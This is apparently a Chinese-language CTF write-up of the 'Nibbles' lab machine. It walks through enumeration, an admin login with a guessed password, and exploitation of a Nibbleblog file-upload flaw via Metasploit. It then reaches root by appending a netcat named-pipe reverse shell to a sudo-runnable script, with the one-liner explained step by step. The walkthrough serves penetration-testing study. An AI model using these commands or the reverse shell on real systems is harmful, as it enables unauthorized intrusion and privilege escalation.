因為我們發現port 80上有個web server所以可以知道他有架設網站,所以第二題它直接問我們blog有甚麼相對路徑
進網頁看一下有沒有提示,果然簡單的機器會給
進來看看順便看第三題要甚麼
Nibbleblog
找找看第4題要的XML檔
以為是feed結果不是
叫出F12重整網頁發現了有趣的位址
Bingo,看來這台機器沒有檔路徑
一番尋找下發現是users.xml這個位置存有帳號admin
第五題就是典型要考你通靈
看到字數猜是機器名字
第六題就比較麻煩,看Hint說是要暴破
那就下一回gobuster,字典就挑seclists裡面最經典的,可以看到一些比較有趣的目錄,連admin都有
找看看README,答案就在上面
第7題就比較簡單,CVE 關鍵字丟google
以下兩題我們連著看
我們先到剛才找到的admin.php的登入點,把帳號admin密碼nibbles打進去
然後我們可以看到有好幾個連結可以按,逛一逛發現有上傳點,我們可以透過剛才的CVE 2015-6967得知nibbleblog有一個 File Upload漏洞,上傳shell可以讓我們取得對機器的操控權
這時候打開Metasploit 找看看有沒有可利用的,發現有一個,然後把條件設定好如我的圖示
能進meterpreter之後進shell 下whoami
nibbler
相當於我們已經打入這台機器裡面
cd /home/nibbler底下並cat user.txt就可以拿到flag了
現在我們要做的還有取得這台機器的root權限也就是管理員權限來拿到另一個flag
先下sudo -l得到這台機器上有甚麼可以NOPASSWD執行文件的
發現是monitor.sh
/home/nibbler/personal/stuff/monitor.sh
將以下網路上找到的reverse shell 放入文件後面
逐步解析:
rm /tmp/f
:
/tmp/f
,以確保後續步驟能夠正常創建新的命名管道。mkfifo /tmp/f
:
/tmp/f
。命名管道是一種特殊的文件,用於進程間的通信。cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.52 8443 > /tmp/f
:
cat /tmp/f
:讀取命名管道 /tmp/f
的內容。這將會阻塞,直到有數據被寫入管道。| /bin/sh -i
:將從命名管道讀取的數據作為Shell的輸入,啟動一個互動式的Shell session。2>&1
:將標準錯誤(stderr)重定向到標準輸出(stdout),確保所有輸出都被捕獲。| nc 10.10.14.52 8443
:使用 netcat
將Shell的輸出發送到遠端主機 10.10.14.52
的端口 8443
。> /tmp/f
:將從 netcat
接收到的數據寫入命名管道 /tmp/f
,這實際上是將遠端主機發送的命令傳遞給本地的Shell。echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.52 8443 >/tmp/f' | tee -a monitor.sh
觸發
sudo /home/nibbler/personal/stuff/monitor.sh
記得開一個terminal 用netcat 監聽
nc -lvnp 8443
呼~這樣就解決了一台機器,由於我之前已經打過這台機器,所以操作起來都大概知道怎麼做的了
那時候不是用metasploit打入的,而是用上傳reverse php的方式來進入機器,這台機器已經很久了所以解法應該大同小異。
下期我打算照著CEH的章節來講並做個筆記